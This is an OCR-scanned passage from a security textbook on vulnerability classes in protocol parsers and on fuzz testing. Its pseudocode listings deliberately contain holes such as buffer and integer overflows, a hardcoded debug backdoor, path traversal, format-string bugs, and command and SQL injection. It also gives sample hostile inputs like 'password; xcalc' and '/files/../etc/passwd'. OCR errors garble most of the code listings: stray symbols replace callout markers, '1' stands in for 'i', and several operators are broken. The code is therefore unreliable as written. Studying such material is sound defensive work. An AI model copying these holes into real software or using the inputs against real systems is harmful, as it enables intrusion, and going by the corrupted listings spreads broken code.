an example using strcpy, the function that copies strings. This function
takes only two arguments: a pointer to the source string and a pointer
to the destination memory buffer to store the copy. Notice that
nothing indicates the length of the destination memory buffer. And as
you've already seen, a memory-unsafe language like C doesn’t keep
track of buffer sizes. If a programmer tries to copy a string that is
longer than the destination buffer, especially if it’s from an external
untrusted source, memory corruption will occur.

More recent C compilers and standardizations of the language have
added more secure versions of these functions, such as strcpy_s, which
adds a destination length argument. But if an application uses an older
string function, such as strcpy, strcat, or sprintf, then there’s a good
chance of a serious memory corruption vulnerability.
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Even if a developer performs a length check, that check may not be done
correctly. Without automatic bounds checking on array access, it is up to the
developer to verify all reads and writes. Listing 9-2 shows a corrected version
of Listing 9-1 that takes into account strings that are longer than the buffer
size. Still, even with the fix, a vulnerability is lurking in the code.

def read_string_fixed()

{
@ byte str[32];
int 1 = 0;
do
{
@ str[i] = read_byte();
i=1+1;
}

O while((str[i-1] !'= 0) && (i1 < 32));

/* Ensure zero terminated if we ended because of length */
O str[i] = 0;



printf("Read String: %s\n", str);
}

Listing 9-2: An off-by-one buffer overflow

As in Listing 9-1, at @ and @, the code allocates a fixed-stack buffer and

reads the string in a loop. The first difference is at ®. The developer has
added a check to make sure to exit the loop if it has already read 32 bytes,
the maximum the stack buffer can hold. Unfortunately, to ensure that the
string buffer is suitably terminated, a zero byte is written to the last position

available in the buffer @. At this point, i has the value of 32. But because
languages like C start buffer indexing from 0, this actually means it will write
0 to the 33rd element of the buffer, thereby causing corruption, as shown in
Figure 9-2.
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Figure 9-2: An off-by-one error memory corruption

This results in an off-by-one error (due to the shift in index position), a
common error in memory-unsafe languages with zero-based buffer indexing.
If the overwritten value is important—for example, if it is the return address
for the function—this vulnerability can be exploitable.

Variable-Length Buffer Overflows

An application doesn’t have to use fixed-length buffers to stored protocol
data. In most situations, it’s possible for the application to allocate a buffer of
the correct size for the data being stored. However, if the application
incorrectly calculates the buffer size, a variable-length buffer overflow can
occur.

As the length of the buffer is calculated at runtime based on the length of
the protocol data, you might think a variable-length buffer overflow is



unlikely to be a real-world vulnerability. But this vulnerability can still occur
in a number of ways. For one, an application might simply incorrectly
calculate the buffer length. (Applications should be rigorously tested prior to
being made generally available, but that’s not always the case.)

A bigger issue occurs if the calculation induces undefined behavior by the
language or platform. For example, Listing 9-3 demonstrates a common way
in which the length calculation is incorrect.

def read_uint32_array()

{
uint32 len;
uint32[] buf;

// Read the number of words from the network
@ len = read uint32();

// Allocate memory buffer
® buf = malloc(len * sizeof(uint32));

// Read values
for(uint32 1 = 0; 1 < len; ++1)
{

(3] buf[i] = read_uint32();

printf("Read in %d uint32 values\n", len);
}

Listing 9-3: An incorrect allocation length calculation

Here the memory buffer is dynamically allocated at runtime to contain
the total size of the input data from the protocol. First, the code reads a 32-
bit integer, which it uses to determine the number of following 32-bit values

in the protocol @. Next, it determines the total allocation size and then
allocates a buffer of a corresponding size @. Finally, the code starts a loop
that reads each value from the protocol into the allocated buffer ©.

What could possibly go wrong? To answer, let’s take a quick look at
integer overflows.

Integer Overflows

At the processor instruction level, integer arithmetic operations are
commonly performed using modulo arithmetic. Modulo arithmetic allows
values to wrap if they go above a certain value, which is called the modulus. A



processor uses modulo arithmetic if it supports only a certain native integer
size, such as 32 or 64 bits. This means that the result of any arithmetic
operation must always be within the ranges allowed for the fixed-size integer
value. For example, an 8-bit integer can take only the values between 0 and
255; it cannot possibly represent any other values. Figure 9-3 shows what
happens when you multiply a value by 4, causing the integer to overflow.

MSB LSB
x 4 01000001 Original length: 0x41
1 00000100 Overflowed length: 0x104
= 00000100 Allocation length: 0x04

Figure 9-3: A simple integer overflow

Although this figure shows 8-bit integers for the sake of brevity, the same
logic applies to 32-bit integers. When we multiply the original length 0x41
or 65 by 4, the result is 0x104 or 260. That result can’t possibly fit into an 8-
bit integer with a range of 0 to 255. So the processor drops the overflowed
bit (or more likely stores it in a special flag indicating that an overflow has
occurred), and the result is the value 4—mnot what we expected. The
processor might issue an error to indicate that an overflow has occurred, but
memory-unsafe programming languages typically ignore this sort of error.
In fact, the act of wrapping the integer value is used in architectures such as
x86 to indicate the signed result of an operation. Higher-level languages
might indicate the error, or they might not support integer overflow at all,
for instance, by extending the size of the integer on demand.

Returning to Listing 9-3, you can see that if an attacker supplies a
suitably chosen value for the buffer length, the multiplication by 4 will
overflow. This results in a smaller number being allocated to memory than is
being transmitted over the network. When the values are being read from
the network and inserted into the allocated buffer, the parser uses the
original length. Because the original length of the data doesn’t match up to
the size of the allocation, values will be written outside of the buffer, causing
memory corruption.

( )




WHAT HAPPENS IF WE ALLOCATE ZERO BYTES?

Consider what happens when we calculate an allocation length of zero
bytes. Would the allocation simply fail because you can’t allocate a
zero-length buffer? As with many issues in languages like C, it is up to
the implementation to determine what occurs (the dreaded
implementation-defined behavior). In the case of the C allocator
function, malloc, passing zero as the requested size can return a failure,
or it can return a buffer of indeterminate size, which hardly instills
confidence.
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Out-of-Bounds Buffer Indexing

You've already seen that memory-unsafe languages do not perform bounds
checks. But sometimes a vulnerability occurs because the size of the buffer is
incorrect, leading to memory corruption. Out-of-bounds indexing stems
from a different root cause: instead of incorrectly specifying the size of a data
value, we’ll have some control over the position in the buffer we’ll access. If
incorrect bounds checking is done on the access position, a vulnerability
exists. The vulnerability can in many cases be exploited to write data outside
the buffer, leading to selective memory corruption. Or it can be exploited by
reading a value outside the buffer, which could lead to information
disclosure or even remote code execution. Listing 9-4 shows an example that
exploits the first case—writing data outside the buffer.

@ byte app_flags[32];

def update_flag_value()

{

® byte index = read_byte();
byte value = read_byte();

printf("Writing %d to index %d\n", value, index);

© app_flags[index] = value;
}

Listing 9-4: Writing to an out-of-bound buffer index

This short example shows a protocol with a common set of flags that can



be updated by the client. Perhaps it’s designed to control certain server

properties. The listing defines a fixed buffer of 32 flags at @. At @ it reads a
byte from the network, which it will use as the index (with a range of 0 to

255 possible values), and then it writes the byte to the flag buffer ®. The
vulnerability in this case should be obvious: an attacker can provide values
outside the range of 0 to 32 with the index, leading to selective memory
corruption.

Out-of-bounds indexing doesn’t just have to involve writing. It works just
as well when values are read from a buffer with an incorrect index. If the
index were used to read a value and return it to the client, a simple
information disclosure vulnerability would exist.

A particularly critical vulnerability could occur if the index were used to
identify functions within an application to run. This usage could be
something simple, such as using a command identifier as the index, which
would usually be programmed by storing memory pointers to functions in a
buffer. The index is then used to look up the function used to handle the
specified command from the network. Out-of-bounds indexing would result
in reading an unexpected value from memory that would be interpreted as a
pointer to a function. This issue can easily result in exploitable remote code
execution vulnerabilities. T'ypically, all that is required is finding an index
value that, when read as a function pointer, would cause execution to
transfer to a memory location an attacker can easily control.

Data Expansion Attack

Even modern, high-speed networks compress data to reduce the number of
raw octets being sent, whether to improve performance by reducing data
transfer time or to reduce bandwidth costs. At some point, that data must be
decompressed, and if compression is done by an application, data expansion
attacks are possible, as shown in Listing 9-5.

void read_compressed_buffer()

{
byte buf[];
uint32 len;
int 1 = 0;

// Read the decompressed size
@ len = read_uint32();



// Allocate memory buffer
® buf = malloc(len);

©® gzip_decompress_data(buf)

printf("Decompressed in %d bytes\n", len);
}

Listing 9-5: Example code vulnerable to a data expansion attack

Here, the compressed data is prefixed with the total size of the
decompressed data. The size is read from the network @ and is used to
allocate the required buffer @. After that, a call is made to decompress the

data to the buffer ® using a streaming algorithm, such as gzip. The code
does not check the decompressed data to see if it will actually fit into the
allocated buffer.

Of course, this attack isn’t limited to compression. Any data
transformation process, whether it’s encryption, compression, or text
encoding conversions, can change the data size and lead to an expansion
attack.

Dynamic Memory Allocation Failures

A system’s memory is finite, and when the memory pool runs dry, a dynamic
memory allocation pool must handle situations in which an application needs
more. In the C language, this usually results in an error value being returned
from the allocation functions (usually a NUL pointer); in other languages, it
might result in the termination of the environment or the generation of an
exception.

Several possible vulnerabilities may arise from not correctly handling a
dynamic memory allocation failure. The most obvious is an application
crash, which can lead to a denial-of-service condition.

Default or Hardcoded Credentials

When one is deploying an application that uses authentication, default
credentials are commonly added as part of the installation process. Usually,
these accounts have a default username and password associated with them.



The defaults create a problem if the administrator deploying the application
does not reconfigure the credentials for these accounts prior to making the
service available.

A more serious problem occurs when an application has hardcoded
credentials that can be changed only by rebuilding the application. These
credentials may have been added for debugging purposes during
development and not removed before final release. Or they could be an
intentional backdoor added with malicious intent. Listing 9-6 shows an
example of authentication compromised by hardcoded credentials.

def process_authentication()
{

@ string username = read_string();
string password = read_string();

// Check for debug user, don't forget to remove this before release
® if(username == "debug")

{
}

else
{

® return check_user_password(username, password);

}
}

return true;

Listing 9-6: An example of default credentials

The application first reads the username and password from the network

@ and then checks for a hardcoded username, debug @. If the application
finds username debug, it automatically passes the authentication process;

otherwise, it follows the normal checking process ®. To exploit such a
default username, all you’d need to do is log in as the debug user. In a real-
world application, the credentials might not be that simple to use. The login
process might require you to have an accepted source IP address, send a
magic string to the application prior to login, and so on.

User Enumeration

Most user-facing authentication mechanisms use usernames to control access
to resources. Typically, that username will be combined with a token, such



as a password, to complete authentication. The user identity doesn’t have to
be a secret: usernames are often a publicly available email address.

There are still some advantages to not allowing someone, especially
unauthenticated users, to gain access to this information. By identifying valid
user accounts, it is more likely that an attacker could brute force passwords.
Therefore, any vulnerability that discloses the existence of valid usernames
or provides access to the user list is an issue worth identifying. A
vulnerability that discloses the existence of users is shown in Listing 9-7.

def process_authentication()
{
string username
string password

read_string();
read_string();

@ if(user_exists(username) == false)
{
A write_error("User " + username " doesn't exist");
}
else
{
© 1if(check_user_password(username, password))
{
write_success("User OK");
}
else
{
O write_error("User " + username " password incorrect");
}
}

}

Listing 9-7: Disclosing the existence of users in an application

The listing shows a simple authentication process where the username
and password are read from the network. It first checks for the existence of a

user @; if the user doesn’t exist, an error is returned @. If the user exists, the
listing checks the password for that user ©. Again, if this fails, an error is

written @. You’ll notice that the two error messages in @ and @ are different
depending on whether the user does not exist or only the password is
incorrect. This information is sufficient to determine which usernames are

valid.

By knowing a username, an attacker can more easily brute force valid
authentication credentials. (It’s simpler to guess only a password rather than



both a password and username.) Knowing a username can also give an
attacker enough information to mount a successful social-engineering attack
that would convince a user to disclose their password or other sensitive
information.

Incorrect Resource Access

Protocols that provide access to resources, such as HI'TP or other file-
sharing protocols, use an identifier for the resource you want to access. That
identifier could be a file path or other unique identifier. The application
must resolve that identifier in order to access the target resource. On
success, the contents of the resource are accessed; otherwise, the protocol
throws an error.

Several vulnerabilities can affect such protocols when they’re processing
resource identifiers. It’s worth testing for all possible vulnerabilities and
carefully observing the response from the application.

Canonicalization

If the resource identifier is a hierarchical list of resources and directories, it’s
normally referred to as a parh. Operating systems typically define the way to
specify relative path information is to use two dots (..) to indicate a parent
directory relationship. Before a file can be accessed, the OS must find it
using this relative path information. A very naive remote file protocol could
take a path supplied by a remote user, concatenate it with a base directory,
and pass that directly to the OS, as shown in Listing 9-8. This is known as a
canonicalization vulnerability.

def send_file_to_client()
{

@ string name = read_string();
// Concatenate name from client with base path
® string fullPath = "/files" + name;

® 1int fd = open(fullPath, READONLY);

// Read file to memory
O byte data[] read_to_end(fd);

// Send to client



O write_bytes(data, len(data));
}

Listing 9-8: A path canonicalization vulnerability

This listing reads a string from the network that represents the name of
the file to access @. This string is then concatenated with a fixed base path
into the full path @ to allow access only to a limited area of the filesystem.

The file is then opened by the operating system @, and if the path contains
relative components, they are resolved. Finally, the file is read into memory

O and returned to the client ©.

If you find code that performs this same sequence of operations, you've
identified a canonicalization vulnerability. An attacker could send a relative
path that is resolved by the OS to a file outside the base directory, resulting
in sensitive files being disclosed, as shown in Figure 9-4.

Even if an application does some checking on the path before sending it
to the OS, the application must correctly match how the OS will interpret
the string. For example, on Microsoft Windows backslashes (\) and forward
slashes (/) are acceptable as path separators. If an application checks only
backslashes, the standard for Windows, there might still be a vulnerability.



Normal operation

Protocol data

/files /passwd
Concatenate v Y
/files/passwd
Canonicalize *
/files/passwd
Vulnerable operation
Protocol data
/files /../etc/passwd
Concatenate v Y

/files/ .. /etc/passwd

Canonicalize l

/efc/passwd

Figure 9-4: A normal path canonicalization operation versus a vulnerable one

Although having the ability to download files from a system might be
enough to compromise it, a more serious issue results if the canonicalization
vulnerability occurs in file upload protocols. If you can upload files to the
application-hosting system and specify an arbitrary path, it’s much easier to
compromise a system. You could, for example, upload scripts or other



executable content to the system and get the system to execute that content,
leading to remote code execution.

Verbose Errors

If, when an application attempts to retrieve a resource, the resource is not
found, applications typically return some error information. That error can
be as simple as an error code or a full description of what doesn’t exist;
however, it should not disclose any more information than required. Of
course, that’s not always the case.

If an application returns an error message when requesting a resource
that doesn’t exist and inserts local information about the resource being
accessed into the error, a simple vulnerability is present. If a file was being
accessed, the error might contain the local path to the file that was passed to
the OS: this information might prove useful for someone trying to get
further access to the hosting system, as shown in Listing 9-9.

def send_file_to_client_with_error()
{

@ string name = read_string();

// Concatenate name from client with base path
® string fullPath = "/files" + name;

O if(!exist(fullPath))
{

O write_error("File " + fullPath + " doesn't exist");

}

else
{
O write_file_to_client(fullPath);
}
}

Listing 9-9: An error message information disclosure

This listing shows a simple example of an error message being returned

to a client when a requested file doesn’t exist. At @ it reads a string from the
network that represents the name of the file to access. This string is then

concatenated with a fixed base path into the full path at @. The existence of
the file is checked with the operating system at ©. If the file doesn’t exist, the



full path to the file is added to an error string and returned to the client @;
otherwise, the data is returned ©.

The listing is vulnerable to disclosing the location of the base path on the
local filesystem. Furthermore, the path could be wused with other
vulnerabilities to get more access to the system. It could also disclose the
current user running the application if, for example, the resource directory
was in the user’s home directory.

Memory Exhaustion Attacks

The resources of the system on which an application runs are finite: available
disk space, memory, and processing power have limits. Once a critical system
resource is exhausted, the system might start failing in unexpected ways, such
as by no longer responding to new network connections.

When dynamic memory is used to process a protocol, the risk of
overallocating memory or forgetting to free the allocated blocks always
exists, resulting in memory exhaustion. The simplest way in which a protocol
can be susceptible to a memory exhaustion vulnerability is if it allocates
memory dynamically based on an absolute value transmitted in the protocol.
For example, consider Listing 9-10.

def read_buffer()

{
byte buf[];
uint32 len;
int 1 = 0;

// Read the number of bytes from the network
@ len = read_uint32();

// Allocate memory buffer
® buf = malloc(len);

// Allocate bytes from network
© read_bytes(buf, len);

printf("Read in %d bytes\n", len);
}

Listing 9-10: A memory exhaustion attack



This listing reads a variable-length buffer from the protocol. First, it
reads in the length in bytes @ as an unsigned 32-bit integer. Next, it tries to
allocate a buffer of that length, prior to reading it from the network @.

Finally, it reads the data from the network ©. The problem is that an
attacker could easily specify a very large length, say 2 gigabytes, which when
allocated would block out a large region of memory that no other part of the
application could access. The attacker could then slowly send data to the
server (to try to prevent the connection from closing due to a timeout) and,
by repeating this multiple times, eventually starve the system of memory.

Most systems would not allocate physical memory until it was used,
thereby limiting the general impact on the system as a whole. However, this
attack would be more serious on dedicated embedded systems where
memory is at a premium and virtual memory is nonexistent.

Storage Exhaustion Attacks

Storage exhaustion attacks are less likely to occur with today’s multi-terabyte
hard disks but can still be a problem for more compact embedded systems or
devices without storage. If an attacker can exhaust a system’s storage
capacity, the application or others on that system could begin failing. Such
an attack might even prevent the system from rebooting. For example, if an
operating system needs to write certain files to disk before starting but can’t,
a permanent denial-of-service condition can occur.

The most common cause of this type of vulnerability is in the logging of
operating information to disk. For example, if logging is very verbose,
generating a few hundred kilobytes of data per connection, and the
maximum log size has no restrictions, it would be fairly simple to flood
storage by making repeated connections to a service. Such an attack might
be particularly effective if an application logs data sent to it remotely and
supports compressed data. In such a case, an attacker could spend very little
network bandwidth to cause a large amount of data to be logged.

CPU Exhaustion Attacks

Even though today’s average smartphone has multiple CPUs at its disposal,



CPUs can do only a certain number of tasks at one time. It is possible to
cause a denial-of-service condition if an attacker can consume CPU
resources with a minimal amount of effort and bandwidth. Although this can
be done in several ways, I'll discuss only two: exploiting algorithmic
complexity and identifying external controllable parameters to cryptographic
systems.

Algorithmic Complexity

All computer algorithms have an associated computational cost that
represents how much work needs to be performed for a particular input to
get the desired output. The more work an algorithm requires, the more time
it needs from the system’s processor. In an ideal world, an algorithm should
take a constant amount of time, no matter what input it receives. But that is
rarely the case.

Some algorithms become particularly expensive as the number of input
parameters increases. For example, consider the sorting algorithm Bubble
Sort. 'This algorithm inspects each value pair in a buffer and swaps them if
the left value of the pair is greater than the right. This has the effect of
bubbling the higher values to the end of the buffer until the entire buffer is
sorted. Listing 9-11 shows a simple implementation.

def bubble_sort(int[] buf)

{
do

bool swapped = false;
int N = len(buf);
for(int 1 = 1; 1 < N - 1; ++1)

if(buf[i-1] > buf[i])
{

// Swap values
swap( buf[i-1], buf[i] );
swapped = true;

}

} while(swapped == false);
}

Listing 9-11: A simple Bubble Sort implementation

The amount of work this algorithm requires is proportional to the
number of elements (let’s call the number N) in the buffer you need to sort.



In the best case, this necessitates a single pass through the buffer, requiring
N iterations, which occurs when all elements are already sorted. In the worst
case, when the buffer is sorted in reverse, the algorithm needs to repeat the

sort process N 2 times. If an attacker could specify a large number of reverse-
sorted values, the computational cost of doing this sort becomes significant.
As a result, the sort could consume 100 percent of a CPU’s processing time
and lead to denial-of-service.

In a real-world example of this, it was discovered that some programming
environments, including PHP and Java, used an algorithm for the hash table

implementations that took N ? operations in the worst case. A hash table is a
data structure that holds values keyed to another value, such as a textual
name. The keys are first hashed using a simple algorithm, which then

determines a bucket into which the value is placed. The N 2 algorithm is used
when inserting the new value into the bucket; ideally, there should be few
collisions between the hash values of keys so the size of the bucket is small.
But by crafting a set of keys with the same hash (but, crucially, different key
values), an attacker could cause a denial-of-service condition on a network
service (such as a web server) by sending only a few requests.

( )
BIG-0 NOTATION

Big-O notation, a common representation of computational
complexity, represents the upper bound for an algorithm’s complexity.
Table 9-1 lists some common Big-O notations for various algorithms,
from least to most complex.

Table 9-1: Big-O Notation for Worst-Case Algorithm Complexity

Notation Description

O(1) Constant time; the algorithm always takes the same
amount of time.

O(log N) Logarithmic; the worst case is proportional to the
logarithm of the number of inputs.

O(N) Linear time; the worst case is proportional to the number
of inputs.




O(N 2) Quadratic; the worst case is proportional to the square of
the number of inputs.

oMy Exponential; the worst case is proportional to 2 raised to
the power N.

Bear in mind that these are worst-case values that don’t necessarily
represent real-world complexity. That said, with knowledge of a
specific algorithm, such as the Bubble Sort, there is a good chance that
an attacker could intentionally trigger the worst case.

. J

Configurable Cryptography

Cryptographic primitives processing, such as hashing algorithms, can also
create a significant amount of computational workload, especially when
dealing with authentication credentials. The rule in computer security is that
passwords should always be hashed using a cryptographic digest algorithm
before they are stored. This converts the password into a hash value, which
is virtually impossible to reverse into the original password. Even if the hash
was disclosed, it would be difficult to get the original password. But someone
could still guess the password and generate the hash. If the guessed password
matches when hashed, then they’ve discovered the original password. To
mitigate this problem, it’s typical to run the hashing operation multiple
times to increase an attacker’s computational requirement. Unfortunately,
this process also increases computational cost for the application, which
might be a problem when it comes to a denial-of-service condition.

A vulnerability can occur if either the hashing algorithm takes an
exponential amount of time (based on the size of the input) or the
algorithm’s number of iterations can be specified externally. The
relationship between the time required by most cryptographic algorithms
and a given input is fairly linear. However, if you can specify the algorithm’s
number of iterations without any sensible upper bound, processing could
take as long as the attacker desired. Such a vulnerable application is shown in
Listing 9-12.

def process_authentication()

{



@ string username = read_string();
string password = read_string();
® int iterations = read_1int();

for(int 1 = 0; 1 < interations; ++1)
{
(3] password = hash_password(password);

}

O return check user_password(username, password);

}

Listing 9-12: Checking a vulnerable authentication

First, the username and password are read from the network @. Next, the
hashing algorithm’s number of iterations is read @, and the hashing process
is applied that number of times ©. Finally, the hashed password is checked

against one stored by the application @. Clearly, an attacker could supply a
very large value for the iteration count that would likely consume a
significant amount of CPU resources for an extended period of time,
especially if the hashing algorithm is computationally complex.

A good example of a cryptographic algorithm that a client can configure
is the handling of public/private keys. Algorithms such as RSA rely on the
computational cost of factoring a large public key value. The larger the key
value, the more time it takes to perform encryption/decryption and the
longer it takes to generate a new key pair.

Format String Vulnerabilities

Most programming languages have a mechanism to convert arbitrary data
into a string, and it’s common to define some formatting mechanism to
specify how the developer wants the output. Some of these mechanisms are
quite powerful and privileged, especially in memory-unsafe languages.

A format string valnerability occurs when the attacker can supply a string
value to an application that is then used directly as the format string. The
best-known, and probably the most dangerous, formatter is used by the C
language’s printf and its variants, such as sprintf, which print to a string. The
printf function takes a format string as its first argument and then a list of the
values to format. Listing 9-13 shows such a vulnerable application.



def process_authentication()

{
read_string();
read_string();

string username =
string password =
// Print username and password to terminal
printf(username);
printf(password);

return check_user_password(username, password))

}

Listing 9-13: The printf format string vulnerability

The format string for printf specifies the position and type of data using a
%2 syntax where the question mark is replaced by an alphanumeric character.
The format specifier can also include formatting information, such as the
number of decimal places in a number. An attacker who can directly control
the format string could corrupt memory or disclose information about the
current stack that might prove useful for further attacks. Table 9-2 shows a
list of common printf format specifiers that an attacker could abuse.

Table 9-2: List of Commonly Exploitable printf Format Specifiers

Format Description Potential vulnerabilities
specifier
%d, %p, %u, Prints integers Can be used to disclose information
%X from the stack if returned to an
attacker
%s Prints a zero Can be used to disclose information
terminated string from the stack if returned to an

attacker or cause invalid memory
accesses to occur, leading to denial-of-

service
%n Wirites the current Can be used to cause selective memory
number of printed corruption or application crashes

characters to a pointer
specified in the
arguments




Command Injection

Most OSes, especially Unix-based OSes, include a rich set of utilities
designed for various tasks. Sometimes developers decide that the easiest way
to execute a particular task, say password updating, is to execute an external
application or operating system utility. Although this might not be a
problem if the command line executed is entirely specified by the developer,
often some data from the network client is inserted into the command line to
perform the desired operation. Listing 9-14 shows such a vulnerable
application.

def update_password(string username)
{

@ string oldpassword = read_string();
string newpassword = read_string();

if(check_user_password(username, oldpassword))

// Invoke update_password command

® system("/sbin/update_password -u "

}
}

+ username + " -p " + newpassword);

Listing 9-14: A password update vulnerable to command injection

The listing updates the current user’s password as long as the original
password is known @. It then builds a command line and invokes the Unix-

style system function @. Although we don’t control the username or oldpassword
parameters (they must be correct for the system call to be made), we do have
complete control over newpassword. Because no sanitization is done, the code in
the listing is vulnerable to command injection because the system function
uses the current Unix shell to execute the command line. For example, we
could specify a value for newpassword such as password; xcalc, which would first
execute the password update command. Then the shell could execute xcalc as
it treats the semicolon as a separator in a list of commands to execute.

SQAL Injection

Even the simplest application might need to persistently store and retrieve
data. Applications can do this in a number of ways, but one of the most



common is to use a relational database. Databases offer many advantages,
not least of which is the ability to issue queries against the data to perform
complex grouping and analysis.

The de facto standard for defining queries to relational databases is the
Structured Query Language (SQL). This text-based language defines what data
tables to read and how to filter that data to get the results the application
wants. When using a text-based language there is a temptation is to build
queries using string operations. However, this can easily result in a
vulnerability like command injection: instead of inserting untrusted data into
a command line without appropriately escaping, the attacker inserts data into
a SQL query, which is executed on the database. This technique can modify
the operation of the query to return known results. For example, what if the

query extracted the current password for the authenticating user, as shown in
Listing 9-15?

def process_authentication()
{

@ string username = read_string();
string password = read_string();

® string sql = "SELECT password FROM user_table WHERE user = '" + username ;

©® return run_gquery(sql) == password;

}

Listing 9-15: An example of authentication vulnerable to SQL injection

This listing reads the username and password from the network @. Then
it builds a new SQL query as a string, using a SELECT statement to extract the

password associated with the user from the user table @. Finally, it executes
that query on the database and checks that the password read from the

network matches the one in the database ©.

The vulnerability in this listing is easy to exploit. In SQL, the strings
need to be enclosed in single quotes to prevent them from being interpreted
as commands in the SQL statement. If a username is sent in the protocol
with an embedded single quote, an attacker could terminate the quoted
string early. This would lead to an injection of new commands into the SQL
query. For example, a unton seLecT statement would allow the query to return
an arbitrary password value. An attacker could use the SQL injection to



bypass the authentication of an application.

SQL injection attacks can even result in remote code execution. For
example, although disabled by default, Microsoft’s SQL Server’s database
function xp_cmdshell allows you to execute OS commands. Oracle’s database
even allows uploading arbitrary Java code. And of course, it’s also possible to
find applications that pass raw SQL queries over the network. Even if a
protocol is not intended for controlling the database, there’s still a good
chance that it can be exploited to access the underlying database engine.

Text-Encoding Character Replacement

In an ideal world, everyone would be able to use one type of text encoding
for all different languages. But we don’t live in an ideal world, and we use
multiple text encodings as discussed in Chapter 3, such as ASCII and
variants of Unicode.

Some conversions between text encodings cannot be round-tripped:
converting from one encoding to another loses important information such
that if the reverse process is applied, the original text can’t be restored. This
is especially problematic when converting from a wide character set such as
Unicode to a narrow one such as ASCII. It’s simply impossible to encode the
entire Unicode character set in 7 bits.

Text-encoding conversions manage this problem in one of two ways. The
simplest approach replaces the character that cannot be represented with a
placeholder, such as the question mark (?) character. This might be a
problem if the data value refers to something where the question mark is
used as a delimiter or as a special character, for example, as in URL parsing
where it represents the beginning of a query string.

The other approach is to apply a best-fit mapping. This is used for
characters for which there is a similar character in the new encoding. For
example, the quotation mark characters in Unicode have left-facing and
right-facing forms that are mapped to specific code points, such as U+201C
and U+201D for left and right double quotation marks. These are outside
the ASCII range, but in a conversion to ASCII, they’re commonly replaced
with the equivalent character, such as U+0022 or the quotation mark. Best-
fit mapping can become a problem when the converted text is processed by
the application. Although slightly corrupted text won’t usually cause much of



a problem for a user, the automatic conversion process could cause the
application to mishandle the data.

The important implementation issue is that the application first verifies
the security condition using one encoded form of a string. Then it uses the
other encoded form of a string for a specific action, such as reading a
resource or executing a command, as shown in Listing 9-16.

def add_user()
{

@ string username = read_unicode_string();

// Ensure username doesn't contain any single quotes
® if(username.contains("'") == false)

// Add user, need to convert to ASCII for the shell
© system("/sbin/add_user '" + username.toascii() + "'");

}
}

Listing 9-16: A text conversion vulnerability

In this listing, the application reads in a Unicode string representing a

user to add to the system @. It will pass the value to the add_user command,
but it wants to avoid a command injection vulnerability; therefore, it first
ensures that the username doesn’t contain any single quote characters that

could be misinterpreted @. Once satisfied that the string is okay, it converts
it to ASCII (Unix systems typically work on a narrow character set, although
many support UTF-8) and ensures that the value is enclosed with single

quotes to prevent spaces from being misinterpreted ©.

Of course, if the best-fit mapping rules convert other characters back to a
single quote, it would be possible to prematurely terminate the quoted string
and return to the same sort of command injection vulnerabilities discussed
earlier.

Final Words

This chapter showed you that many possible root causes exist for
vulnerabilities, with a seemingly limitless number of variants in the wild.
Even if something doesn’t immediately look wvulnerable, persist.



Vulnerabilities can appear in the most surprising places.

I’'ve covered vulnerabilities ranging from memory corruptions, causing an
application to behave in a different manner than it was originally designed,
to preventing legitimate users from accessing the services provided. It can be
a complex process to identify all these different issues.

As a protocol analyzer, you have a number of possible angles. It is also
vital that you change your strategy when looking for implementation
vulnerabilities. Take into account whether the application is written in
memory-safe or unsafe languages, keeping in mind that you are less likely to
find memory corruption in, for example, a Java application.



10

FINDING AND EXPLOITING SECURITY
VULNERABILITIES

Parsing the structure of a complex network protocol can be tricky, especially
if the protocol parser is written in a memory-unsafe programming language,
such as C/C++. Any mistake could lead to a serious vulnerability, and the
complexity of the protocol makes it difficult to analyze for such
vulnerabilities. Capturing all the possible interactions between the incoming
protocol data and the application code that processes it can be an impossible
task.

This chapter explores some of the ways you can identify security
vulnerabilities in a protocol by manipulating the network traffic going to and
from an application. I'll cover techniques such as fuzz testing and debugging
that allow you to automate the process of discovering security issues. I’ll also
put together a quick-start guide on triaging crashes to determine their root
cause and their exploitability. Finally, I'll discuss the exploitation of common
security vulnerabilities, what modern platforms do to mitigate exploitation,
and ways you can bypass these exploit mitigations.

Fuzz Testing

Any software developer knows that testing the code is essential to ensure that
the software behaves correctly. Testing is especially important when it
comes to security. Vulnerabilities exist where a software application’s
behavior differs from its original intent. In theory, a good set of tests ensures
that this doesn’t happen. However, when working with network protocols,
it’s likely you won’t have access to any of the application’s tests, especially in
proprietary applications. Fortunately, you can create your own tests.

Fuzz testing, commonly referred to as fuzzing, is a technique that feeds
random, and sometimes not-so-random, data into a network protocol to
force the processing application to crash in order to identify vulnerabilities.
This technique tends to yield results no matter the complexity of the



network. Fuzz testing involves producing multiple test cases, essentially
modified network protocol structures, which are then sent to an application
for processing. These test cases can be generated automatically using
random modifications or under direction from the analyst.

The Simplest Fuzz Test

Developing a set of fuzz tests for a particular protocol is not necessarily a
complex task. At its simplest, a fuzz test can just send random garbage to the
network endpoint and see what happens.

For this example, we’ll use a Unix-style system and the Netcat tool.
Execute the following on a shell to yield a simple fuzzer:

$ cat /dev/urandom | nc hostname port

This one-line shell command reads data from the system’s random
number generator device using the cat command. The resulting random data
is piped into netcat, which opens a connection to a specified endpoint as
instructed.

This simple fuzzer will likely only yield a crash on simple protocols with
few requirements. It’s unlikely that simple random generation would create
data that meets the requirements of a more complex protocol, such as valid
checksums or magic values. That said, you’d be surprised how often a simple
fuzz test can give you valuable results; because it’s so quick to do, you might
as well try it. Just don’t use this fuzzer on a live industrial control system
managing a nuclear reactor!

Mutation Fuzzer

Often, you’ll need to be more selective about what data you send to a
network connection to get the most useful information. The simplest
technique in this case is to use existing protocol data, mutate it in some way,
and then send it to the receiving application. This mutation fuzzer can work
surprisingly well.

Let’s start with the simplest possible mutation fuzzer: a random bit
flipper. Listing 10-1 shows a basic implementation of this type of fuzzer.

voild SimpleFuzzer(const char* data, size_t length) {



size_t position = RandomInt(length);
size_t bit = RandomInt(8);

char* copy = CopyData(data, length);
copy[position] A= (1 << bit);
SendData(copy, length);

}

Listing 10-1: A simple random bit flipper mutation fuzzer

The simplefuzzer() function takes in the data to fuzz and the length of the
data, and then generates a random number between 0 and the length of the
data as the byte of the data to modify. Next, it decides which bit in that byte
to change by generating a number between 0 and 7. Then it toggles the bit
using the XOR operation and sends the mutated data to its network
destination.

This function works when, by random chance, the fuzzer modifies a field
in the protocol that is then used incorrectly by the application. For example,
your fuzzer might modify a length field set to 0x40 by converting it to a
length field of 0x80000040. This modification might result in an integer
overflow if the application multiplies it by 4 (for an array of 32-bit values, for
example). This modification could also cause the data to be malformed,
which would confuse the parsing code and introduce other types of
vulnerabilities, such as an invalid command identifier that results in the
parser accessing an incorrect location in memory.

You could mutate more than a single bit in the data at a time. However,
by mutating single bits, you’re more likely to localize the effect of the
